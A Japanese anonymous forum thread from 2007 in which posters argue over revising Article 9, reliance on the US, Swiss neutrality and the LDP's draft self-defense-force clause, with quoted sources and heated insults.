改憲 = 戦争 は思考停止の常套句。自分で憲法作れる位に自立しなけりゃ、
いずれアメリカのバシリとして、戦場に出向くことになる。
米国が日本に戦闘をやらせようとするなら、方法はいくらでもあるんだよ。
後方支援の自衛隊を戦闘に巻き込まれるよう画策したり、在外邦人を大量に
殺させたり、国内テロを誘導したり・・・外交上の嫌がらせも効果的だね。
特に与党の政治家をロッキード事件みたいにはめたりとか、米国が本気なら
最終的に日本は逆らえなくなるよ、今のような対米依存が続く限りね。

>>525
自衛隊・安保について、共産は忘れたけど社民の福島はこう言っていたよ。
「あるものはしょうがないから認めるけど、いずれは縮小、廃止するべき」
(サンプロ)

>>528
> 負担を分かち合う国の意見を聴くかと

お前さんはまったく・・他人の意見が読めないんだね。オレは日本の
過度な対米依存が続く限り、米国の下働きから抜け出せないよと、
言ってるんだけどねぇ。
安保に守られ、9条で引きこもっていたら、米国に意見を言うどころ
じゃないだろ。

>>526
＞何かあった時やありそうな時に充分な対応が出来ないような気がするんですよ

対応って何だろう？

戦前の日本もだけど、今のアメリカも自国の防衛の対応として外国に侵略してる
外国に派兵して対応するということは、憲法9条からはどう読んでも無理。

日本は戦後60年間、戦禍から免れてるけど、スイスは200年間免れてる。
それも700万人の小国で、列強のドイツ、フランス、イタリアに囲まれた
多民族、多言語、移民社会の小さな国なのに。

日本もアメリカやロシア、中国から囲まれた小さな国だが、戦禍に対応す
るのならスイスの対応を参考にすべき。
スイスの職業軍人は2000人くらいだという、慎ましいもの。
あなたのイメージする対応は戦禍を、逆に引き込んでしまうよ。

−−−−−（引用開始）−−−−−
スイス連邦政府は、ドイツのポーランド侵攻の前日８月３１日
に、厳正中立を宣言し、全世界４０カ国に通告した。そしてアン
リ・ギザン大佐を唯一の将軍に選び、国防の中心とした。

　ギザン将軍は９月１日、総動員令を発動し、わずか７日で戦闘
員４３万人、非戦闘員約２０万人を動員した。政治家、役人から、
教師、技師、農民に至るまで、国民の一割以上の要員を所定の位
置に配置し、装備と任務を与えたのである。

　この大動員はドイツとフランスの双方からの侵攻に備えたもの
だった。スイスの国土は、南部に広がるアルプスが南北間交通を
遮る要衝となっているが、東西間の交通は比較的容易である。
http://www2s.biglobe.ne.jp/~nippon/jogbd_h11_2/jog095.html

>>527
＞政治家の都合で自由に解釈できる9条を放置する9条護憲派はバカとしか言いようがない。

これほど日本人の役に立った憲法はないよ。
俺は戦略的に積極的に9条を、日本が活用してきた証拠だと思うけど・・・・

ベトナム戦争で韓国は5000人の戦死者を出してるが、日本はゼロだ。

−−−−−（引用開始）−−−−−
韓国政府はアメリカからの参戦要請を受けて、一九六四年、移動外科医療団と
テコンドーの教官を当時の南ベトナムに派遣したのを皮切りに、ベトナム戦争
と深く関わることになる。六五年からはついに戦闘部隊を送り込み本格参戦。

七三年に撤退するまで、三一万人あまりの韓国軍兵士がベトナムに派遣された。
http://www.asiawave.co.jp/KyonSukkyon1.htm

>>529
＞日本政府が9条を宣伝したり、逆手にとって要求したりしたことが あるか？

マスコミを使って、政府の対米交渉内容を出すはずがないだろ。
実績としてあるのが、朝鮮戦争にも、ベトナム戦争にも、アフガン戦争にも日本は
戦う軍隊を出さなくて済ませたということ。

これは憲法9条があったおかげなんだよ。

−−−−−（引用開始）−−−−−
日本国憲法に第９条の規定がなかった場合、あったとしても軟性憲法であった場合、
朝鮮戦争及びベトナム戦争のときに米軍からの派兵要請を断ることが、当時の日本
政府に可能だったのかというと、かなり疑問です。

憲法第９条があったからこそ、あの時代に、有為の若者の命をむざむざ犠牲にする
ことなく、経済発展に向けることができたわけです

（その間、朝鮮戦争の舞台となりかつベトナム戦争での派兵要請を断ることができな
　かった韓国において経済発展が遅れたこと、及びベトナム戦争により米国の経済
　発展が相当停滞したことと比べると、実に対照的です。）。
http://benli.cocolog-nifty.com/la_causette/2007/05/post_e993.html

>>530
＞こんなもんでいいか？ テレビの動物番組やニュースでも、ときどきやって
るぞ。

ご苦労、よく調べてきた。
だが物事の理解力が、あなたは足らん。
動物の場合は生活空間：テリトリーの問題なんだよ。

人間の場合は、金、名誉、宗教、権力などいろんな名目で殺し合いをしてしまう。
地球上で一番、凶悪な生き物。

−−−−−（引用開始）−−−−−
昔ある所で、お釈迦さんが話されました。

名誉と権力とお金ほど怖いものは無い。

これには悪魔の釣り針が、隠されています。

釣り人が針に餌をつけて、海に沈めているように

悪魔の釣り針が隠されてます。

名誉と権力とお金を飲み込むと、針が引っかかり悪魔の

思うがままに、人間がその手先として動かされてしまう。
（阿含経　南伝　相応部経典　１７−２　釣り針より）

>>531
＞いずれアメリカのバシリとして、戦場に出向くことになる。

俺にはバシリとして日本を使うために、権力者にとっては
憲法9条が邪魔になるから、安倍総理は改憲にシャカリキ
になってると見てる。

バシリとして使うのに、目の上のタンコブなんだよ。
憲法9条は、対米依存とは全く関係がない。
そこがあなたとの見解の相違。

なんとなく思った事。
今の日本の立場って、第二次大戦直前のドイツとソ連に挟まれたポーランド
と同じじゃないか？

>>539
＞今の日本の立場って、第二次大戦直前のドイツとソ連に挟まれたポーランド

俺はフランスとの戦争でまけ、フランスのバシリになってたスイスの立場だと見る
当時の強大国フランスの鼻息をうかがい、イギリスやドイツ、イタリアの立場も
見てやりながら国内を統一して難しい舵取りをしてた小国スイス。

でもこの後200年間も戦禍から、離れることが出来たんだからね。

−−−−−（引用開始）−−−−−
・第１次〜第３次対仏連合戦争
　1797年、第一次対仏連合戦争が終わると、フランスはスイスの侵略を開始し、
翌年「攻守同盟」締結を強制される。この同盟でスイスは中立を放棄させられ、
その結果、スイスは戦場になった。

国土の荒廃・凶作・物価騰貴がおこるとスイス内部は激しい対立を引き起こし、
1803年、ナポレオンはこれを調停して１９カントンから成る連邦体制国家が
形成された。

この調停はスイスを弱体化しフランスに従属せざるをえない国に仕立てる目的
であった為、「防衛同盟」「軍事協定」が締結させられ、再び中立が放棄させ
られた。

　1805年第三次対仏連合戦争で、1813年にはドイツ解放戦争で、スイスの武装
中立をナポレオンが容認したが、これはスイスをフランスの防壁として利用す
るためであった。（スイスの中立の歴史より）

>>536
つまり何も知らないということだな (笑)

> マスコミを使って、政府の対米交渉内容を出すはずがないだろ

なぜ対米交渉に限定するんだ？ 中韓にだってもっとアピールするべき
だったし、その他の国にも平和国家を宣伝してもいいんじゃないか。
そして他国、とりわけ反日的な国に、9条を伝染させることが出来た
なら、現在の外交上の諸問題は無かったかも知れない。
結局お前もマニュアルちゃんと一緒で、米国中心にしか物事を見れて
ないんだよ。それこそ、オレが9条を奴隷憲法と言う所以さ。

> 実績としてあるのが・・・

やはり負の部分からは目をそむけつづけるんだな。こう言うとお前は、
負の部分とは何か？ なんて惚けるんだろうけど、オレはお前に何度も
指摘したからな。ほんと・・偏向人間はタチが悪い。

>>537
> ご苦労、よく調べてきた

自分の無知を、空威張りで誤魔化すとわね(苦笑)

> 動物の場合は生活空間：テリトリーの問題なんだよ

まだ解ってない。馬鹿は始末に負えんなー。
人間も同じだよ。ただ精神活動と群れ(社会)構造が、より複雑なために、
争いの形態も多岐に渡るだけなんだよ。

>>538
> 俺にはバシリとして日本を使うために・・・憲法9条が邪魔になるから

ああ、そういう見方もあるよ。だけどオレはその先を見ているんだよ。
9条引きこもり策では、ジリ貧は目に見えている。今のように米国を中心
とした大勢に、身も心もとっぷり浸かった状態では、永遠にパシリ以外
の何者にもなれない。どこかで


>>540
オレもスイスのように国民(日本人)がみな、愛国心を持って自国を守る
ことに誇りを持てるようになるといいと思うよ。
スイスには、お前みたいな反スイス人などいないんだろーなー (憧憬)

メモ : 「どこかで」の後はめんどーなので止めた。

>536 恵也さん、

貴殿の、ひたすら九条の「お力」を信じ、それにすがる御姿は、
流石は、現行平和憲法下で真っ当な教育を受けた方と、ご拝察申し上げます。

であれば、現行平和憲法の本質．．．「諸国民の公正と信義に日本の安全保障を託す」
を全面的に信じ切る事を宣言し、真　の　現　行　平　和　憲　法　の　擁　護　者　に
なられる御覚悟を表明すべきと考えます。

そして、ひたすら九条の「お力」にすがる者になる為、世界中で今、起きている
　現　実　は　　直　視　し　な　い　のです。 　つまり、

◇国を失った人々や国を形成する力の無い人々の状況について、現実のクルド人や
　パレスチナ人の悲惨さを、明日の我が身と考えないのです。

◇ヨーロッパで国を持てなかったユダヤ人は、蔑まれても、各国の社会で経済的に
　成功してある程度の位置を確保できましたが、彷徨えるロマの人々（ジプシー）の
　生活苦や寿命の短さなど、知らない方が良いのです。

◇国を失ったネィティブ・アメリカンやアボリジニが酒浸りの生活を送っている様な
　現実は見えない事なのです。

　⇒　その現実を思うと九条の「お力」を信じる心が揺らいでしまいます。
　　　　現行平和憲法を擁護する人々は、理想平和の追求に身を捧げる事しか
　　　　考えてはいけません。それは、イエスを信じる者がサタンの振る舞いを考えては
　　　　いけない事と同じなのです。

続く．．．

続き．．．

他国の軍隊が侵攻して来た場合は、何もせず、たとえ家族や恋人や友人達に何が
起ろうとも、現行平和憲法の理想に身を捧げた覚悟で耐え切るのです。

⇒　国際紛争を武力で解決しない事を明記しておりますので、たとえ紛争当事国に
　　なったとしても、戦力は保有せず行使できないのです。　もちろん、国民の一人一人が
　　武器を持って戦うのは否定されておりませんが、交戦権に基づかない武力の行使は
　　ゲリラ活動と見なされてしまいます。

この様に、現行平和憲法による安全保障の世界は、その理想に全てを任せる覚悟が
有る人達の心の中に在る、

　お　花　畑　の　様　な　世　界　なんです。

で、日本国民の全てが、その真の現行平和憲法の擁護者になれば、現　実　の
安　全　保　障　は、考える必要は無く、九条の「お力」を信じるだけで救われるのです。

九条の効用を説く方々は、最終的には、上記の世界にたどり着くものと考えますので、
恵也さんも、是非、どうぞ！

>>542
＞スイスには、お前みたいな反スイス人などいないんだろーなー (憧憬)

スイスにはいろんな人間がいるよ。
フランス系、ドイツ系、少数民族系、人種も言語も違う。
でもスイス人として、まとまって戦禍から逃げてるんだよ。

−−−−−（引用開始）−−−−−
独語（63.7％）、仏語（19.2％）、伊語（7.6％）、レート・ロマンシュ語
（0.6％）、その他（8.9％）
http://www.mofa.go.jp/mofaj/area/switzerland/data.html

ここには、国民に選ばれた代議士が決定することは「すべて国民の意思である」
などとする硬直した考えはない。

同じようにこの１５０年間に４４件が採択され、５５件が否決された。連邦議会
が決定した事柄の４５％を国民が投票で葬り去ったといえば言い過ぎだが、国民
が異議を申し立てた案件にかぎれば、そういうことになる。
http://www.yorozubp.com/0001/000121.htm

>>544
＞貴殿の、ひたすら九条の「お力」を信じ、それにすがる御姿は、

残念ながら9条にすがるような気持ちは全くない。

ただ9条には、海外派兵を権力者に思いとどまらせるだけの

拘束力があったとは思ってる。

そのくらいの限られた力にしても偉大な力ではある。

>>545
＞他国の軍隊が侵攻して来た場合は、何もせず、

バカじゃないの、あんた！

侵攻してきたら日本人として戦う義務があるのは当然の話。
被害者責任というものも考えなさい。

猫の前にカツオ節を置いたら、置いた人間も悪い。
外国の前に獲物を置いたら、置く国も悪い。

>>545
＞交戦権に基づかない武力の行使は ゲリラ活動と見なされてしまいます。

憲法に禁止された交戦権は、国際紛争を解決する手段として行う権利。

ここでいう外国からの侵攻に対して戦う「正当防衛権」の交戦権までは含みません。
国内でのゲリラ活動は、憲法が禁止してない交戦権のひとつ。
よく憲法を読みなさい、幼稚園児さん！

−−−−−（引用開始）−−−−−
前項の目的を達するため，陸海空軍その他の戦力は，これを保持しない。
国の交戦権は，これを認めない。
http://kenpou.jp/modules/tinyd0/index.php?id=5

719 名前：革命的名無しさん ：2007/07/27(金) 05:58:52
9条を守る人たちは厳密には護憲派じゃないぞ。
改憲というと9条改憲を意味するようになっているから
そこを争点に護憲派改憲派という名称が便宜的に使われているだけ。

720 名前：革命的名無しさん ：2007/07/27(金) 06:01:48
憲法を簡単に変えられるような法と前例ができあがれば
それは左翼にとっても都合がいい。
時代の要請だといって政局の都合にあわせて憲法を変える
ことが当り前になれば左翼にとっても将来的にしめたものだろう。

>>546
> スイス人として、まとまって戦禍から逃げてるんだよ

逃げてるのは日本人。スイス人は戦禍が自国民を傷付けないように、
国を挙げて、能動的に立ち向かっているんだよ。
だからお前みたいな、反スイス人はいないだろうね(憧憬)

>>533
＞安保に守られ、9条で引きこもっていたら、米国に意見を言うどころ
＞じゃないだろ。

ああ、またそれか…
まるでダレスが乗り移ったみたいな奴だなw

ブレア外交の末路を見てないのか？アメリカはアイツの面目潰しまくったよ。
そもそも意見言おうと思ったら、現状でも充分に発言力発揮できるよ、
日本がこんな武力行使じゃ役務や物品の提供できないなあとか言い出したらアメリカアウトだもん。
条約上も事前協議で充分出来ることなのに、今出来ない国は変えても絶対に出来ない。

>>542
＞ああ、そういう見方もあるよ。だけどオレはその先を見ているんだよ。
＞9条引きこもり策では、ジリ貧は目に見えている。

ああ、そう言う見方もあるよ。だけどオレはその先のその先を見ているんだよ。
9条引きもこり策ではジリ貧は目に見えている、
と言って打って出たら、待ち構えてたアメリカやＮＡＴＯにカモにされること間違いなし、
まさか、アフガンなんてことはないと思いたいがな…

何かもろに業者の嵌め込みに引っ掛かりそうな人間が多いな。

>>552
> 現状でも充分に発言力発揮できるよ

いくら図体がデカくても、目と耳を塞いだ引きこもりでは無理だよ。

> と言って打って出たら、待ち構えてたアメリカやＮＡＴＯに・・・

「怖いおじちゃん達がいっぱいいるから、お外にでられないの〜」

9条とは、日本人をアンタみたいなピーターパンにする魔法なんだね w

そりゃぁ怖いさ、
アフガンに手を出した国は今まで無事に出て来れてないからなぁ。
ソ連はあれで国を潰したようなもんだ。
アメリカも結局、制圧できずにＮＡＴＯに丸投げしてしまったし、
タリバーンが雪解け後の攻勢を予告している状態で、そのちょっと前だったか？
そこへウチのボスが「海外派遣をためらわない」なんて、まあ本当に…
あれはビックリしたよ。

何とか忘れてもらって、チャラにしてくれればいいがな

海外派遣や防衛に関して憲法の解釈しだいでなく
はっきりと明記したらいいじゃないですか

それじゃそもそも改正の意味がないし、何よりアメリカが困る。
自衛権の行使でもなく、
国連安保理決議みたいな正当化根拠がない武力行使には、
日本が憲法上、明確に参加できなくなっちゃうからな。

もう、その時点でそんな草案はアウト
いや、本当に現時点での改正はどう転んでも「アメリカの思う壺」
以外の結論は出てこないな〜。

＞国連安保理決議みたいな正当化根拠がない武力行使には、 日本が憲法上、明確に参加できなくなっちゃうからな。

参加する必要あるの？
なんでもありの9条こそがアメリカのカモにされている原因な気がするが。

今まで通り基地港湾物品役務の提供で充分。

＞なんでもありの9条こそがアメリカのカモにされている原因な気がするが。

と言うような、最初からこっちに負い目があるような発想でやってきたから、
法的根拠もない思いやり予算出して、それが何千億円にも膨れ上がって、
相手がそれに対して全然感謝もしないと言う事態に陥るわけ。
冷戦勝利の第１の功臣は日本だぜ？
ところがイラクであれだけ協力して、60年代も親米一徹だったのに、
それぞれ北朝鮮と中国で見事に大恥を掻いただろう？
アメリカは自分のその時々の都合しか考えないよ。日本の協力なんて忘れちゃう。
そう言う国には「思い出させる」のがいちばん。

ところが少女暴行事件のデモが起きると、首脳が真っ青になって飛んでくる。
あれがいちばん怖いわけよ、アメリカは。
実際イラク戦争の新安保理決議の時も中南米をギリギリ締め付けてたのに、
反米デモが拡大すると結局弱腰になって、お咎めなんか受けてない。

担保を出さずに貸出をしてもアメリカは全然感謝なんかしない国。
イヤなら在日米軍引き揚げな、どうせ日本は新防衛指針で自分のことは自分で責任持て、
と突っ放されてんだから関係ねーよ、もちろん思いやり予算なんてチャラね。
と、あからさまに言ったら相手は怒るだろうけど、
いかにアメリカが日本に頼っているか。

それを気づかせる方向で交渉をするのがいちばん効く。

まぁ少なくとも考えられんな、
「集団的自衛権行使でアメリカに協力することで、日本の発言力が高まる」
なんて議論は。ブレア外交が良い例だけど、聞くフリはするけどアメリカは結局聞かない。
甘い期待と言うか、苦しい言い訳と言うか。

借金を踏み倒して開き直った相手に契約書も担保を取らずに貸出をして
「これで取り立ての時には協力してくれるだろう」
と期待するようなもの。それこそ「抑止力」が全然働いてない。

>>558
だったら基地港湾物品役務の提供もいらないだろ。
あれこそ、大枚はたいて何も感謝されない無意味なものだろ。

>>557
＞なんでもありの9条こそがアメリカのカモにされている原因な気がするが。

なんでもありじゃないから拡大解釈の限界で、9条を変えたがってるの。

権力者にとって何でもありなら、わざわざ権力者が変える必要もない。

>>559
＞借金を踏み倒して開き直った相手に契約書も担保を取らずに貸出をして
＞「これで取り立ての時には協力してくれるだろう」
＞と期待するようなもの。それこそ「抑止力」が全然働いてない。

確かにそうだ。
全く交渉力のない、純朴なお金持ちというのが今の日本政府。
完全に舐められてるのが良くわかる。

まあ、ヤクザに財布代わりに使われてしまってる状態というかな。

それもこれも奴隷憲法の精神。9条の影に隠れて、口先で文句は言うが、
自立するリスクは負いたくない。国際協力と言ったら、対米協力のこと
しか思い浮かばない。
よくもまあ、こんなに飼いならされたもんだ w

日本人として、なんて恥ずかしげなくほざくなら日本人としての理想を守れ　理想のために死ねよ
憲法九条を改正することが結果的に日本を売ることになるってことにいい加減気づけ
自立とかそういうレベルの話じゃない どうして今さらになって憲法九条を改正したがってるか　もう一度よく考えてみろ

３０日にも慰安婦決議初採決　参院選配慮し、日程公表は見送り
　
　【ワシントン２７日共同】米下院（定数４３５）は、第２次大戦中の従軍慰安婦問題をめぐり、日本政府に責任を認め公式に謝罪するよう求める決議案を早ければ３０日夜（日本時間３１日午前）の本会議で採決する見通しだ。

　ただ議会多数派を握る民主党のホイヤー院内総務は２７日、通常なら公式ホームページを通じて発表する翌週の採決予定に慰安婦決議案を盛り込むことを見送った。日程が事前に報道されることで日本時間２９日投票の参院選に影響を与えることを避けるための配慮とみられる。

　慰安婦問題をめぐる決議案が本会議で採決されるのは初めて。民主党出身のペロシ議長が支持を表明していることから、賛成多数で可決される公算が大きい。採決阻止を働き掛けてきた日本政府にとって打撃は避けられない。

　決議案は先月２６日の外交委員会で３９対２の大差で可決されたが、日本の政局に与える影響を配慮し、本会議採決が先延ばしされていた。
　
http://www.chunichi.co.jp/s/article/2007072801000266.html

中国、ロシアから空母装備購入か
http://www.sankei.co.jp/kokusai/china/070727/chn070727000.htm

　中国の軍事動向に詳しい民間軍事研究機関、漢和情報センター（本部カナダ）は２７日、
中国軍が航空母艦の艦載機が着艦時に必要な「テールフック」などの特殊装備４セットを
ロシアから購入したとの情報を軍事産業筋から得たことを明らかにした。
また、中国軍は艦載用テスト機としてウクライナから戦闘機Ｔ１０を購入したという。

　空母では、狭い甲板上で着艦させるため甲板に張った鋼鉄製の「アレスティングワイヤ」に、
艦載機に取り付けたかぎ状のテールフックを引っかけ急制動する。高度な技術のため、
中国が空母を建造する際にネックになるといわれている。

　同センターは４セットのうち２つは研究、実験用に使われるため、中国が建造を計画している
空母は「２隻」と分析、生産は２０１２年ごろまでに行われると推測した。（共同）

口の悪い>>564を擁護するわけじゃないけど。
そもそも憲法って国民ではなく、国家権力を縛るためのもの。
だから、縛られている政府や権力者にとっては憲法は邪魔で仕方がないんだよ。
憲法尊重擁護義務がある議員や総理大臣から改正が叫ばれるのは、少しキナ臭い。
極端に言えば、泥棒が刑法改正したがってるようなものだら

憲法９条をそのままにしておくのか改めるかどうかは、
国家の維持じゃなくて、憲法の平和主義が国民の権利の保障に貢献するかどうかで決めるべき。

改正するかしないかは改正案聞いてからにしろよ。
あくまで改正であって廃止じゃないんだから。

改正案読んでみ。
この板にあるどこかの９条スレの＞＞１にあるから。
オレは読んだ上で反対した。
改正案によると、９条各項に「法律の定めるところにより」と法律の留保がある。
これは大日本帝国憲法と同じで、政府のやりたい放題出来ちゃう。
なんの歯止めにもならないんだよ。

国民新党のいうように「専守防衛」って憲法に書きこんだ方がスッキリするんじゃないの？

うん、それはいいかも。でも、専守防衛になったら非常に困るのがアメリカ。
外に出て欲しいんだから、そんな憲法案だったらむしろ反対される。

＞570
これね。特に問題になるのは９条の２の第３項。
国際法上正当化されない軍事行動も、法律で定めれば事実上認められる。
つまり自衛権でも安保理決議でもないのに有志連合に参加するとか、
中台紛争に介入するとかね。

第９条の２（自衛軍）

�@我が国の平和と独立並びに国及び国民の安全を確保するため、
内閣総理大臣を最高指揮権者とする自衛軍を保持する。

�A自衛軍は、前項の規定による任務を遂行するための活動を行うにつき、
法律の定めるところにより、国会の承認その他の統制に服する。

�B自衛軍は、第１項の規定による任務を遂行するための活動のほか、
法律の定めるところにより、
国際社会の平和と安全を確保するために国際的に協調して行われる活動
及び緊急事態における公の秩序を維持し、
又は国民の生命若しくは自由を守るための活動を行うことができる。

�C前２項に定めるもののほか、自衛軍の組織及び統制に関する事項は、
法律で定める。

それもアリだけど、先守防衛がどこまでか線引きが難しい。
現行の９条でさえ、政府のかなり強引な解釈でイラクまで行けてしまってるからね。
歯止めの意味で、オレは変えない方がいいと思う。

>>572
そう。それそれ。
まあ改正もやむを得ないかなと考えてたけど、これはひどすぎる。
これでは白紙委任に等しい

＞先守防衛がどこまでか線引きが難しい。

ホントだ、すまんな。鳩山の時と岸の時の答弁すっかり忘れてたよ。
専守防衛でも余裕で先制攻撃できるし、自衛のためなら核保有だもんな…
他にも80年代に後藤田氏がシーレーン防衛でもフォロー答弁してるし。